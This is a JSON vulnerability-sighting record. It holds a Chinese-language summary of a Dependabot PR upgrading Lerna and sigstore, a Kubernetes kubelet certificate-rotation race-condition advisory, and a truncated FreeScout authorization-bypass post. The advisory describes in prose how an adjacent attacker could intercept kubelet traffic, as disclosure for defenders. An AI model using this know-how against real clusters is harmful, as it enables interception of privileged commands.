{"vulnerability": "cve-2026-4881", "sightings": [{"uuid": "e2db1b35-32d5-47f2-927a-a2372fd0b711", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48815", "type": "seen", "source": "https://gist.github.com/djlan/b1b2bcf870f86cc4e03f310cec6700ec", "content": "# PR 767064\uff1a\u5347\u7ea7 sigstore \u4e0e Lerna\uff0c\u4fee\u590d\u5ba2\u6237\u7aef\u5de5\u5177\u94fe\u5b89\u5168\u6f0f\u6d1e\n\n> **\u4e00\u53e5\u8bdd\u6458\u8981\uff1a** \u6b64 PR \u5c06 `src/client` \u7684 Lerna \u4ece 8.2.4 \u5347\u7ea7\u5230 10.0.0\uff0c\u5e76\u968f\u5176\u4f9d\u8d56\u94fe\u628a sigstore \u4ece 2.3.1 \u5347\u7ea7\u5230 4.1.1\uff0c\u4ee5\u5904\u7406\u9ad8\u5371\u5b89\u5168\u544a\u8b66 CVE-2026-48815\uff1b\u4e3b\u8981\u5f71\u54cd\u5f00\u53d1\u3001\u4f9d\u8d56\u5b89\u88c5\u548c\u53d1\u5e03\u5de5\u5177\u94fe\uff0c\u800c\u4e0d\u662f\u4ea7\u54c1\u8fd0\u884c\u65f6\u4ee3\u7801\u3002\n\n| \u9879\u76ee | \u4fe1\u606f |\n|---|---|\n| PR | [Azure DevOps PR 767064](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064) |\n| \u4f5c\u8005 | Dependabot |\n| \u72b6\u6001 | Active\uff1b\u975e\u8349\u7a3f\uff1b\u5408\u5e76\u72b6\u6001\u4e3a succeeded |\n| \u6e90\u5206\u652f | `dependabot/npm_and_yarn/src%2Fclient/sigstore-4.1.1-749668` |\n| \u76ee\u6807\u5206\u652f | `main` |\n| \u521b\u5efa\u65f6\u95f4 | 2026-08-06 14:18:34 |\n| \u63d0\u4ea4/\u8fed\u4ee3 | 1 \u4e2a\u63d0\u4ea4\uff0c1 \u6b21\u8fed\u4ee3 |\n| \u6587\u4ef6\u53d8\u66f4 | 2 \u4e2a\u6587\u4ef6\uff0c\u5747\u4e3a\u4fee\u6539 |\n| \u5dee\u5f02\u8986\u76d6 | \u6570\u636e\u5305\u4fdd\u5b58\u4e86 65,981 \u5b57\u8282\u5dee\u5f02\uff1b\u5b8c\u6574\u5dee\u5f02\u7ea6 250,787 \u5b57\u8282\uff0c\u7ea6\u8986\u76d6 26.3% |\n\n## \u76ee\u5f55\n\n1. [\u53d8\u66f4\u6982\u89c8](#\u53d8\u66f4\u6982\u89c8)\n2. [\u529f\u80fd\u6a21\u5757\u4e00\uff1a\u9876\u5c42\u5f00\u53d1\u5de5\u5177\u5347\u7ea7](#\u529f\u80fd\u6a21\u5757\u4e00\u9876\u5c42\u5f00\u53d1\u5de5\u5177\u5347\u7ea7)\n3. [\u529f\u80fd\u6a21\u5757\u4e8c\uff1a\u8f6f\u4ef6\u4f9b\u5e94\u94fe\u5b89\u5168\u66f4\u65b0](#\u529f\u80fd\u6a21\u5757\u4e8c\u8f6f\u4ef6\u4f9b\u5e94\u94fe\u5b89\u5168\u66f4\u65b0)\n4. [\u529f\u80fd\u6a21\u5757\u4e09\uff1a\u9501\u6587\u4ef6\u4f9d\u8d56\u56fe\u91cd\u7b97](#\u529f\u80fd\u6a21\u5757\u4e09\u9501\u6587\u4ef6\u4f9d\u8d56\u56fe\u91cd\u7b97)\n5. [\u5f71\u54cd\u5206\u6790](#\u5f71\u54cd\u5206\u6790)\n6. [\u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8](#\u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8)\n7. [\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1\u5efa\u8bae](#\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1\u5efa\u8bae)\n8. [\u5dee\u5f02\u622a\u65ad\u4e0e\u5206\u6790\u8fb9\u754c](#\u5dee\u5f02\u622a\u65ad\u4e0e\u5206\u6790\u8fb9\u754c)\n\n## \u53d8\u66f4\u6982\u89c8\n\n\u672c\u6b21\u6539\u52a8\u7531 Component Governance \u7684\u9ad8\u5371\u5b89\u5168\u544a\u8b66\u89e6\u53d1\u3002PR \u63cf\u8ff0\u660e\u786e\u6307\u51fa\u9700\u8981\u540c\u65f6\u5347\u7ea7 sigstore \u548c\u5176\u4e0a\u6e38\u4f9d\u8d56 Lerna\uff1asigstore \u7531 2.3.1 \u5347\u81f3 4.1.1\uff0cLerna \u7531 8.2.4 \u5347\u81f3 10.0.0\u3002\n\n\u5b9e\u9645\u4fee\u6539\u4ec5\u6d89\u53ca\u4ee5\u4e0b\u4f9d\u8d56\u6e05\u5355\uff1a\n\n- [`src/client/package.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064?path=/src/client/package.json&_a=files)\uff1a\u628a\u76f4\u63a5\u5f00\u53d1\u4f9d\u8d56 `lerna` \u7684\u7248\u672c\u8303\u56f4\u4ece `^8.2.4` \u6539\u4e3a `^10.0.0`\u3002\n- [`src/client/package-lock.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064?path=/src/client/package-lock.json&_a=files)\uff1a\u91cd\u65b0\u89e3\u6790\u5e76\u56fa\u5b9a Lerna 10 \u53ca\u5176\u5b8c\u6574\u4f20\u9012\u4f9d\u8d56\u56fe\uff0c\u5176\u4e2d\u5305\u542b\u65b0\u7248 npm \u5de5\u5177\u94fe\u7ec4\u4ef6\u4e0e sigstore\u3002\n\n\u6ca1\u6709\u4e1a\u52a1\u6e90\u4ee3\u7801\u3001\u670d\u52a1\u7aef\u4ee3\u7801\u3001\u524d\u7aef\u7ec4\u4ef6\u6216\u6d4b\u8bd5\u6587\u4ef6\u53d8\u66f4\uff0c\u56e0\u6b64\u4fee\u590d\u673a\u5236\u662f\u201c\u66f4\u65b0\u6784\u5efa/\u5305\u7ba1\u7406\u5de5\u5177\u7684\u4f9d\u8d56\u95ed\u5305\u201d\uff0c\u800c\u4e0d\u662f\u4fee\u6539\u5e94\u7528\u81ea\u8eab\u7684\u7b7e\u540d\u9a8c\u8bc1\u903b\u8f91\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e00\uff1a\u9876\u5c42\u5f00\u53d1\u5de5\u5177\u5347\u7ea7\n\n### \u4e3a\u4ec0\u4e48\u8981\u6539\n\nsigstore \u5728\u8be5\u9879\u76ee\u4e2d\u4e0d\u662f\u8fd9\u6b21\u76f4\u63a5\u7f16\u8f91\u7684\u9876\u5c42\u4f9d\u8d56\u3002PR \u901a\u8fc7\u5347\u7ea7\u5176\u7956\u5148\u4f9d\u8d56 Lerna\uff0c\u8ba9 npm \u91cd\u65b0\u9009\u62e9\u4e0d\u518d\u4f9d\u8d56\u65e7\u7248 sigstore \u7684\u5de5\u5177\u94fe\uff0c\u4ece\u4f9d\u8d56\u6811\u6839\u90e8\u6d88\u9664\u5b89\u5168\u544a\u8b66\u5bf9\u5e94\u7684\u65e7\u7248\u672c\u3002\n\n### \u5982\u4f55\u5de5\u4f5c\n\n[`src/client/package.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064?path=/src/client/package.json&_a=files) \u5c06 Lerna \u7684\u4e3b\u7248\u672c\u4ece 8 \u63d0\u5347\u5230 10\u3002\u540e\u7eed\u6267\u884c npm \u5b89\u88c5\u65f6\uff0c\u7248\u672c\u8303\u56f4\u4e0e\u9501\u6587\u4ef6\u5171\u540c\u786e\u4fdd\u4f7f\u7528 Lerna 10 \u7684\u5b9e\u73b0\uff0c\u800c\u4e0d\u662f\u7ee7\u7eed\u89e3\u6790\u5230 8.x\u3002\n\n\u8fd9\u5c5e\u4e8e\u5f00\u53d1\u4f9d\u8d56\u5347\u7ea7\uff0c\u9884\u671f\u5f71\u54cd monorepo \u547d\u4ee4\u3001\u5305\u53d1\u73b0\u3001\u4efb\u52a1\u6267\u884c\u3001\u7248\u672c\u7ba1\u7406\u6216\u53d1\u5e03\u6d41\u7a0b\u3002\u6570\u636e\u5305\u6ca1\u6709\u63d0\u4f9b\u9879\u76ee\u5b9e\u9645\u8c03\u7528 Lerna \u7684\u811a\u672c\u5185\u5bb9\uff0c\u56e0\u6b64\u65e0\u6cd5\u8fdb\u4e00\u6b65\u786e\u8ba4\u54ea\u4e9b Lerna \u5b50\u547d\u4ee4\u4f1a\u88ab\u6267\u884c\uff0c\u4e5f\u4e0d\u80fd\u65ad\u8a00\u73b0\u6709\u914d\u7f6e\u5df2\u5b8c\u5168\u517c\u5bb9 Lerna 10\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e8c\uff1a\u8f6f\u4ef6\u4f9b\u5e94\u94fe\u5b89\u5168\u66f4\u65b0\n\n### \u4e3a\u4ec0\u4e48\u8981\u6539\n\nPR \u5173\u8054\u9ad8\u5371\u544a\u8b66 CVE-2026-48815\u3002PR \u5143\u6570\u636e\u8bf4\u660e sigstore \u4ece 2.3.1 \u5347\u81f3 4.1.1\uff0c\u5e76\u8981\u6c42\u4e0e Lerna \u4e00\u8d77\u66f4\u65b0\u3002sigstore \u7528\u4e8e\u8f6f\u4ef6\u5236\u54c1\u7b7e\u540d\u4e0e\u900f\u660e\u65e5\u5fd7\u9a8c\u8bc1\uff1b\u5347\u7ea7\u540e\u7684\u7248\u672c\u5305\u542b\u8bc1\u4e66 OID \u6269\u5c55\u9a8c\u8bc1\u3001Rekor \u6761\u76ee\u7684 inclusion promise \u8981\u6c42\u7b49\u9a8c\u8bc1\u5f3a\u5316\u3002\n\n### \u5982\u4f55\u5de5\u4f5c\n\n\u5728\u5df2\u6355\u83b7\u7684 [`src/client/package-lock.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064?path=/src/client/package-lock.json&_a=files) \u7247\u6bb5\u4e2d\uff0c\u65b0\u7248 npm/pacote \u4f9d\u8d56\u94fe\u58f0\u660e\u4e86 `sigstore: ^4.0.0`\u3002PR \u63cf\u8ff0\u8fdb\u4e00\u6b65\u7ed9\u51fa\u6700\u7ec8\u89e3\u6790\u76ee\u6807\u4e3a 4.1.1\u3002\u8fd9\u6837\uff0cLerna \u6267\u884c\u6d89\u53ca\u5305\u83b7\u53d6\u3001\u5143\u6570\u636e\u5904\u7406\u6216\u5236\u54c1\u9a8c\u8bc1\u7684\u8def\u5f84\u65f6\uff0c\u4f1a\u4f7f\u7528\u65b0\u7248 sigstore \u4f9d\u8d56\u65cf\uff0c\u800c\u4e0d\u518d\u4f7f\u7528\u5b58\u5728\u544a\u8b66\u7684 2.3.1\u3002\n\nsigstore 4.0.0 \u7684\u53d1\u5e03\u8bf4\u660e\u8fd8\u660e\u786e\u79fb\u9664\u4e86 Node.js 18 \u652f\u6301\uff1b4.1.0 \u6539\u53d8\u4e86 `verify(...)` \u7684\u8fd4\u56de\u503c\uff0c\u4f7f\u5176\u8fd4\u56de\u5305\u542b\u516c\u94a5\u548c\u8eab\u4efd\u4fe1\u606f\u7684 `Signer` \u5bf9\u8c61\u3002\u7531\u4e8e\u672c PR \u6ca1\u6709\u4fee\u6539\u8c03\u7528 sigstore \u7684\u9879\u76ee\u4ee3\u7801\uff0c\u5f53\u524d\u6570\u636e\u5305\u53ea\u80fd\u786e\u8ba4\u5b83\u662f\u4f20\u9012\u4f9d\u8d56\u5347\u7ea7\uff0c\u4e0d\u80fd\u786e\u8ba4\u4ed3\u5e93\u662f\u5426\u53e6\u6709\u811a\u672c\u76f4\u63a5\u8c03\u7528 sigstore API\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e09\uff1a\u9501\u6587\u4ef6\u4f9d\u8d56\u56fe\u91cd\u7b97\n\n### \u4e3a\u4ec0\u4e48\u53d8\u5316\u8f83\u5927\n\nLerna \u8de8\u8d8a\u4e24\u4e2a\u4e3b\u7248\u672c\u540e\uff0c\u5176\u5185\u90e8\u4f9d\u8d56\u7ec4\u5408\u53d1\u751f\u660e\u663e\u53d8\u5316\u3002\u9501\u6587\u4ef6\u4e0d\u4ec5\u66ff\u6362 Lerna \u672c\u8eab\uff0c\u8fd8\u9700\u8981\u540c\u6b65\u56fa\u5b9a\u65b0\u7248\u547d\u4ee4\u884c\u4ea4\u4e92\u3001changelog\u3001npm CLI\u3001GitHub API\u3001\u6587\u4ef6\u6253\u5305\u4e0e\u5b8c\u6574\u6027\u6821\u9a8c\u76f8\u5173\u7ec4\u4ef6\uff0c\u4fdd\u8bc1\u6240\u6709\u73af\u5883\u5b89\u88c5\u51fa\u540c\u4e00\u5957\u4f9d\u8d56\u56fe\u3002\n\n### \u5df2\u89c2\u5bdf\u5230\u7684\u5177\u4f53\u53d8\u5316\n\n\u5728\u672a\u622a\u65ad\u7684\u524d 65,536 \u5b57\u8282\u9501\u6587\u4ef6\u5dee\u5f02\u4e2d\uff0c\u53ef\u4ee5\u786e\u8ba4\uff1a\n\n- \u65b0\u589e\u591a\u9879 `@inquirer/*`\u3001`@conventional-changelog/*`\u3001`@npmcli/*` \u548c `@octokit/*` \u6761\u76ee\u3002\n- \u65b0\u7248 `pacote` \u4f9d\u8d56\u94fe\u5f15\u5165 `sigstore: ^4.0.0`\u3001`npm-package-arg` 13\u3001`npm-packlist` 10\u3001`npm-registry-fetch` 19\u3001`ssri` 13 \u7b49\u7ec4\u4ef6\u3002\n- \u65e7\u7684 `@lerna/create` 8.2.4 \u4e13\u5c5e\u5d4c\u5957\u4f9d\u8d56\u88ab\u79fb\u9664\u6216\u91cd\u65b0\u5e03\u5c40\u3002\n- \u53ef\u89c1\u7247\u6bb5\u4e2d `@emnapi/core`\u3001`@emnapi/runtime` \u548c `@emnapi/wasi-threads` \u5206\u522b\u4ece 1.8.1/1.8.1/1.1.0 \u8c03\u6574\u5230 1.4.5/1.4.5/1.0.4\u3002\u8be5\u53d8\u5316\u53ef\u80fd\u6765\u81ea\u65b0\u7248\u4f9d\u8d56\u56fe\u7684\u91cd\u65b0\u89e3\u6790\uff0c\u9700\u901a\u8fc7\u5b9e\u9645\u6784\u5efa\u786e\u8ba4\u4e0d\u4f1a\u5f71\u54cd\u4f7f\u7528\u8fd9\u4e9b WASI/\u539f\u751f\u9002\u914d\u7ec4\u4ef6\u7684\u5de5\u5177\u3002\n\n\u8fd9\u4e9b\u90fd\u662f\u9501\u6587\u4ef6\u5c42\u9762\u7684\u4f20\u9012\u4f9d\u8d56\u53d8\u5316\uff0c\u4e0d\u4ee3\u8868\u9879\u76ee\u4ee3\u7801\u5f00\u59cb\u76f4\u63a5\u4f7f\u7528\u4e0a\u8ff0\u5305\u3002\n\n## \u5f71\u54cd\u5206\u6790\n\n| \u5f71\u54cd\u9762 | \u7ed3\u8bba |\n|---|---|\n| \u5b89\u5168\u6027 | \u6b63\u5411\u5f71\u54cd\u3002\u76ee\u6807\u662f\u79fb\u9664\u88ab CG \u6807\u8bb0\u7684\u65e7\u7248 sigstore\uff0c\u5e76\u91c7\u7528\u5305\u542b\u66f4\u4e25\u683c\u8bc1\u4e66\u4e0e Rekor \u9a8c\u8bc1\u7684\u65b0\u7248\u672c\u3002 |\n| \u4ea7\u54c1\u8fd0\u884c\u65f6 | \u76f4\u63a5\u5f71\u54cd\u8f83\u4f4e\u3002\u53d8\u66f4\u4ec5\u6d89\u53ca `src/client` \u7684\u5f00\u53d1\u4f9d\u8d56\u6e05\u5355\uff0c\u6ca1\u6709\u4e1a\u52a1\u4ee3\u7801\u53d8\u66f4\u3002 |\n| CI/CD \u4e0e\u5f00\u53d1\u73af\u5883 | \u5f71\u54cd\u8f83\u9ad8\u3002Lerna \u4e3b\u7248\u672c\u5347\u7ea7\u53ca\u4f20\u9012\u4f9d\u8d56\u7684 Node.js \u5f15\u64ce\u8981\u6c42\u53ef\u80fd\u6539\u53d8\u5b89\u88c5\u3001\u6784\u5efa\u3001\u6d4b\u8bd5\u548c\u53d1\u5e03\u4efb\u52a1\u7684\u53ef\u8fd0\u884c\u73af\u5883\u3002 |\n| \u5305\u7ba1\u7406\u53ef\u91cd\u590d\u6027 | \u9501\u6587\u4ef6\u540c\u6b65\u66f4\u65b0\u540e\uff0c\u5e72\u51c0\u5b89\u88c5\u5e94\u89e3\u6790\u5230\u56fa\u5b9a\u7684\u65b0\u4f9d\u8d56\u56fe\uff1b\u4f46\u5fc5\u987b\u786e\u8ba4\u5185\u90e8 npm \u6e90\u53ef\u63d0\u4f9b\u6240\u6709\u65b0\u589e\u7248\u672c\u3002 |\n| \u53d1\u5e03\u6d41\u7a0b | \u5b58\u5728\u884c\u4e3a\u53d8\u5316\u53ef\u80fd\u3002Lerna 8 \u5230 10 \u7684 CLI\u3001\u9ed8\u8ba4\u884c\u4e3a\u6216\u914d\u7f6e\u517c\u5bb9\u6027\u9700\u8981\u7531\u4ed3\u5e93\u73b0\u6709\u53d1\u5e03\u547d\u4ee4\u9a8c\u8bc1\u3002 |\n| \u4ee3\u7801\u63a5\u53e3 | \u6ca1\u6709\u9879\u76ee\u63a5\u53e3\u6216\u4ea7\u54c1 API \u7684\u76f4\u63a5\u4fee\u6539\uff1bsigstore API \u7684\u4e3b\u7248\u672c\u53d8\u5316\u4ec5\u5728\u4ed3\u5e93\u5b58\u5728\u76f4\u63a5\u8c03\u7528\u65f6\u624d\u4f1a\u6210\u4e3a\u4ee3\u7801\u517c\u5bb9\u95ee\u9898\u3002 |\n\n## \u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8\n\n1. **Node.js \u7248\u672c\u662f\u6700\u5177\u4f53\u7684\u963b\u65ad\u98ce\u9669\u3002** PR \u63cf\u8ff0\u660e\u786e\u6307\u51fa sigstore 4 \u4e0d\u518d\u652f\u6301 Node.js 18\uff1b\u53ef\u89c1\u9501\u6587\u4ef6\u4e2d\u8fd8\u6709\u65b0\u589e\u4f9d\u8d56\u8981\u6c42 Node.js `>=22`\uff0c\u6216\u8981\u6c42 `^20.17.0 || >=22.9.0`\u3002\u5982\u679c\u5f00\u53d1\u673a\u6216\u6784\u5efa\u4ee3\u7406\u4ecd\u4f7f\u7528 Node 18\u3001\u8f83\u65e9\u7684 Node 20\uff0c\u6216\u542f\u7528\u4e86 npm `engine-strict`\uff0c\u5b89\u88c5\u53ef\u80fd\u76f4\u63a5\u5931\u8d25\uff1b\u5373\u4f7f\u53ea\u4ea7\u751f\u8b66\u544a\uff0c\u4e5f\u53ef\u80fd\u5728\u6267\u884c\u76f8\u5173 CLI \u8def\u5f84\u65f6\u51fa\u73b0\u8fd0\u884c\u65f6\u9519\u8bef\u3002\n2. **Lerna \u8de8\u4e3b\u7248\u672c\u517c\u5bb9\u98ce\u9669\u3002** \u4ece 8.2.4 \u5230 10.0.0 \u53ef\u80fd\u6d89\u53ca\u547d\u4ee4\u53c2\u6570\u3001\u914d\u7f6e\u5b57\u6bb5\u3001Nx \u96c6\u6210\u3001\u5305\u53d1\u5e03\u6216\u7248\u672c\u8ba1\u7b97\u884c\u4e3a\u53d8\u5316\u3002\u6570\u636e\u5305\u672a\u5305\u542b Lerna \u914d\u7f6e\u548c npm scripts\uff0c\u65e0\u6cd5\u786e\u8ba4\u73b0\u6709\u547d\u4ee4\u662f\u5426\u65e0\u9700\u8c03\u6574\u3002\n3. **\u4f20\u9012\u4f9d\u8d56\u56fe\u53d8\u5316\u8303\u56f4\u5927\u3002** \u9501\u6587\u4ef6\u5b8c\u6574\u5dee\u5f02\u7ea6 250 KB\uff0c\u53ef\u89c1\u90e8\u5206\u5df2\u6d89\u53ca npm CLI\u3001Octokit\u3001Inquirer\u3001changelog\u3001WASI \u7b49\u591a\u4e2a\u4f9d\u8d56\u65cf\u3002\u9700\u8981\u9632\u6b62\u4f9d\u8d56\u89e3\u6790\u53d8\u5316\u9020\u6210\u811a\u672c\u8f93\u51fa\u3001\u4ea4\u4e92\u884c\u4e3a\u3001Git \u64cd\u4f5c\u6216\u6ce8\u518c\u8868\u8bbf\u95ee\u65b9\u5f0f\u53d8\u5316\u3002\n4. **\u5185\u90e8\u6e90\u53ef\u7528\u6027\u98ce\u9669\u3002** \u65b0\u5305\u5747\u9700\u4ece Azure Notebooks \u7684\u5185\u90e8 npm registry \u83b7\u53d6\u3002\u82e5\u955c\u50cf\u5c1a\u672a\u540c\u6b65\u67d0\u4e2a\u65b0\u7248\u672c\uff0c\u5e72\u51c0\u5b89\u88c5\u4f1a\u5931\u8d25\u3002\n5. **sigstore \u884c\u4e3a\u66f4\u4e25\u683c\u3002** \u65b0\u7248\u672c\u5f3a\u5316\u8bc1\u4e66\u6269\u5c55\u548c Rekor \u65f6\u95f4\u6233\u6765\u6e90\u9a8c\u8bc1\uff1b\u5982\u679c\u5de5\u5177\u94fe\u5904\u7406\u7684\u5386\u53f2\u7b7e\u540d\u6750\u6599\u4e0d\u6ee1\u8db3\u65b0\u89c4\u5219\uff0c\u539f\u5148\u901a\u8fc7\u7684\u9a8c\u8bc1\u53ef\u80fd\u5931\u8d25\u3002\u8fd9\u901a\u5e38\u662f\u5b89\u5168\u9884\u671f\u53d8\u5316\uff0c\u4f46\u53ef\u80fd\u66b4\u9732\u65e7\u5236\u54c1\u6216\u6d4b\u8bd5\u5939\u5177\u7684\u4e0d\u517c\u5bb9\u3002\n6. **\u53ef\u89c1\u7684 `@emnapi/*` \u7248\u672c\u56de\u9000\u9700\u8981\u5173\u6ce8\u3002** \u6570\u636e\u5305\u7247\u6bb5\u663e\u793a\u82e5\u5e72\u7248\u672c\u53f7\u964d\u4f4e\uff0c\u4e0d\u80fd\u4ec5\u51ed\u7248\u672c\u53f7\u5224\u65ad\u529f\u80fd\u9000\u5316\uff0c\u4f46\u5e94\u901a\u8fc7\u6784\u5efa\u548c\u76f8\u5173\u5de5\u5177\u6267\u884c\u786e\u8ba4\u4f9d\u8d56\u89e3\u6790\u7ed3\u679c\u53ef\u7528\u3002\n\n## \u6d4b\u8bd5\u4e0e\u9a8c\u8bc1\u5efa\u8bae\n\n\u6570\u636e\u5305\u672a\u5305\u542b\u81ea\u52a8\u5316\u6d4b\u8bd5\u7ed3\u679c\u3001\u6784\u5efa\u7ed3\u679c\u6216\u65b0\u589e\u6d4b\u8bd5\u6587\u4ef6\uff0c\u56e0\u6b64\u4e0d\u80fd\u58f0\u79f0\u6b64 PR \u5df2\u901a\u8fc7\u6d4b\u8bd5\u3002\u5408\u5e76\u72b6\u6001 `succeeded` \u53ea\u8bf4\u660e Azure DevOps \u62a5\u544a\u7684\u5408\u5e76\u8ba1\u7b97\u6210\u529f\uff0c\u4e0d\u7b49\u540c\u4e8e CI \u9a8c\u8bc1\u901a\u8fc7\u3002\n\n\u5efa\u8bae\u81f3\u5c11\u6267\u884c\uff1a\n\n1. \u5728\u4ed3\u5e93\u89c4\u5b9a\u7684 Node.js \u7248\u672c\u4e0a\u5bf9 `src/client` \u505a\u4e00\u6b21\u5e72\u51c0\u7684\u9501\u6587\u4ef6\u5b89\u88c5\uff0c\u786e\u8ba4\u6ca1\u6709 engine\u3001peer dependency \u6216\u5185\u90e8 registry \u83b7\u53d6\u9519\u8bef\u3002\n2. \u8fd0\u884c\u73b0\u6709\u5ba2\u6237\u7aef lint\u3001\u5355\u5143\u6d4b\u8bd5\u3001\u7c7b\u578b\u68c0\u67e5\u548c\u6784\u5efa\u547d\u4ee4\uff0c\u8986\u76d6\u65b0\u7248\u4f20\u9012\u4f9d\u8d56\u52a0\u8f7d\u8def\u5f84\u3002\n3. \u8fd0\u884c\u4ed3\u5e93\u73b0\u6709\u7684 Lerna/Nx \u5de5\u4f5c\u533a\u547d\u4ee4\uff0c\u7279\u522b\u662f\u5305\u53d1\u73b0\u3001\u6279\u91cf\u4efb\u52a1\u3001\u7248\u672c\u8ba1\u7b97\u548c\u53d1\u5e03\u76f8\u5173\u547d\u4ee4\u3002\n4. \u5206\u522b\u6838\u5bf9 CI \u6784\u5efa\u4ee3\u7406\u4e0e\u53d1\u5e03\u4ee3\u7406\u7684 Node.js \u7248\u672c\uff1b\u82e5\u4f4e\u4e8e 20.17\uff0c\u4f18\u5148\u5347\u7ea7\u8fd0\u884c\u65f6\u3002\u7531\u4e8e\u53ef\u89c1\u4f9d\u8d56\u4e2d\u5b58\u5728 `node >=22` \u6761\u76ee\uff0c\u8fd8\u5e94\u786e\u8ba4\u5b9e\u9645\u6267\u884c\u8def\u5f84\u662f\u5426\u8981\u6c42 Node 22\u3002\n5. \u4f7f\u7528\u9501\u6587\u4ef6\u6267\u884c\u5b89\u5168\u626b\u63cf\uff0c\u786e\u8ba4 CVE-2026-48815/CG Alert 14934913 \u5df2\u5173\u95ed\uff0c\u4e14\u6ca1\u6709\u56e0\u5927\u8303\u56f4\u4f20\u9012\u4f9d\u8d56\u66f4\u65b0\u5f15\u5165\u65b0\u7684\u9ad8\u5371\u544a\u8b66\u3002\n\n## \u5dee\u5f02\u622a\u65ad\u4e0e\u5206\u6790\u8fb9\u754c\n\n- [`src/client/package.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064?path=/src/client/package.json&_a=files) \u7684 445 \u5b57\u8282\u5dee\u5f02\u5b8c\u6574\u53ef\u89c1\u3002\n- [`src/client/package-lock.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/767064?path=/src/client/package-lock.json&_a=files) \u7684\u539f\u59cb\u5dee\u5f02\u4e3a 250,342 \u5b57\u8282\uff0c\u6570\u636e\u5305\u4ec5\u4fdd\u7559\u524d 65,536 \u5b57\u8282\uff0c\u7ea6\u8986\u76d6 26.2%\u3002\n- \u6574\u4e2a PR \u5dee\u5f02\u6309\u5b57\u8282\u4f30\u7b97\u7ea6\u8986\u76d6 26.3%\u3002\u9501\u6587\u4ef6\u540e\u7ea6 73.8% \u7684\u5dee\u5f02\u672a\u5305\u542b\u5728\u6570\u636e\u5305\u4e2d\uff0c\u56e0\u6b64\u65e0\u6cd5\u9010\u9879\u786e\u8ba4 sigstore 4.1.1 \u7684\u6700\u7ec8\u9501\u5b9a\u6761\u76ee\u3001\u6240\u6709\u65b0\u589e/\u5220\u9664\u5305\u3001\u5b8c\u6574\u7248\u672c\u53d8\u5316\u3001integrity \u503c\u6216\u6587\u4ef6\u5c3e\u90e8\u7ed3\u6784\u3002\n- PR \u63cf\u8ff0\u4e2d\u7684\u53d1\u5e03\u8bf4\u660e\u6587\u672c\u4e5f\u4ee5\u7701\u7565\u5f62\u5f0f\u7ed3\u675f\uff0c\u56e0\u6b64\u672c\u6587\u53ea\u4f7f\u7528\u6570\u636e\u5305\u4e2d\u5b9e\u9645\u53ef\u89c1\u7684\u53d1\u5e03\u8bf4\u660e\u8981\u70b9\uff0c\u6ca1\u6709\u63a8\u65ad\u88ab\u7701\u7565\u7684\u7248\u672c\u8bb0\u5f55\u3002\n- \u6570\u636e\u5305\u6ca1\u6709\u62a5\u9519\u6216\u8b66\u544a\u8bb0\u5f55\uff0c\u4f46\u8fd9\u4e0d\u4ee3\u8868\u5b8c\u6574\u5dee\u5f02\u6216 CI \u7ed3\u679c\u5df2\u88ab\u9a8c\u8bc1\u3002\n", "creation_timestamp": "2026-08-31T00:12:39.196331Z"}, {"uuid": "ff7c4f61-067d-4e10-991e-23f57bdfc8a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4881", "type": "seen", "source": "https://gist.github.com/Neclode/e868c6230e0f67710aaf558313f9fa67", "content": "# CVE-2026-4881 \u2014 Kubernetes Kubelet Certificate Rotation Race Condition\n\n**CVSS 8.1 (HIGH)** | Published April 28, 2026 | Updated May 15, 2026\n\n## Summary\n\nA race condition in kubelet TLS certificate rotation affects Kubernetes versions 1.28 through 1.31. During the approximately 90-second certificate renewal window, an adjacent network attacker can intercept kubelet API traffic via MitM.\n\n## Affected Versions\n\n| Version | Status |\n|---------|--------|\n| v1.28.x | Affected |\n| v1.29.x | Affected |\n| v1.30.x | Affected |\n| v1.31.x | Affected |\n| v1.32.0+ | Fixed |\n\n## Details\n\nThe kubelet certificate rotation mechanism contains a time-of-check to time-of-use (TOCTOU) flaw. When the kubelet requests a new serving certificate from the cluster CA, there is a window where the old certificate has been marked for rotation but the new certificate has not yet been installed. During this window, the kubelet falls back to a self-signed bootstrap certificate that does not chain to the cluster CA.\n\nAn attacker on the same network segment can exploit this window to present their own certificate and intercept API server to kubelet communications, including exec, logs, and port-forward requests.\n\n## Mitigation\n\n- Upgrade to Kubernetes v1.32.0 or later\n- Enable mutual TLS verification on all kubelet communications\n- Monitor for certificate rotation anomalies using audit logging\n\n## Full Advisory\n\nFull technical details, proof of concept, and timeline available at:\n\n**https://cloudsec-research.org/advisories/k8s-2026-04-rotation**\n\n## References\n\n- Advisory ID: CSRG-2026-0428\n- Tracking: KSRC-2026-04-ROTATION\n- CWE: CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)\n- CloudSec Research Group: https://cloudsec-research.org\n\n---\n*Published by CloudSec Research Group under coordinated disclosure.*\n", "creation_timestamp": "2026-05-18T23:56:50.000000Z"}, {"uuid": "67d21ec3-55ba-40e0-8c14-573b4c6c77ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48810", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmzjls6xuq2q", "content": "CVE-2026-48810 - FreeScout: Thread Edit Authorization Bypass via Missing Mailbox Check\nCVE ID : CVE-2026-48810\n \n Published : May 29, 2026, 8:16 p.m. | 15\u00a0minutes 